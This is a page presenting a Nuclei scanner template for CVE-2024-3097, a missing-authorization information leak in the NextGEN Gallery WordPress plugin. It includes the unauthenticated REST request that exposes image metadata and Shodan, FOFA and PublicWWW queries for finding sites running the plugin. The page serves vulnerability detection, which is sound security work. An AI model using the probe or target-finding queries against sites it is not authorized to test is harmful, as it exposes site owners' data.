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NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure

ID: CVE-2024-3097

Severity: medium

Author: DhiyanesDK

Tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak,imagely

Description

Section titled “Description”

The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.

YAML Source

Section titled “YAML Source”
id: CVE-2024-3097


info:
  name: NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure
  author: DhiyanesDK
  severity: medium
  description: |
    The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
  reference:
    - https://plugins.trac.wordpress.org/browser/nextgen-gallery/trunk/src/REST/Admin/Block.php#L40
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/75f87f99-9f0d-46c2-a6f1-3c1ea0176303?source=cve
    - https://zpbrent.github.io/pocs/8-plugin-nextgen-gallery-InfoDis-20240327.mp4
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-3097
    cwe-id: CWE-862
    epss-score: 0.04672
    epss-percentile: 0.92605
    cpe: cpe:2.3:a:imagely:nextgen_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: imagely
    product: "nextgen_gallery"
    framework: wordpress
    shodan-query:
      - "cpe:\"cpe:2.3:a:imagely:nextgen_gallery\""
      - http.html:/wp-content/plugins/nextgen-gallery/
    fofa-query: "body=/wp-content/plugins/nextgen-gallery/"
    publicwww-query: "/wp-content/plugins/nextgen-gallery/"
  tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak,imagely


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":'
          - '"image":'
        condition: and


      - type: word
        part: header
        words:
          - 'application/json'


      - type: status
        status:
          - 200
# digest: 490a004630440220180082c2ace46b86ab913793c5872580628a57f86e52b5c3adc06ab8105eaf46022014ede1f09de727f1c05664fd0d8f98dd86b389ee18aca9038d9235b514f533f7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3097.yaml"

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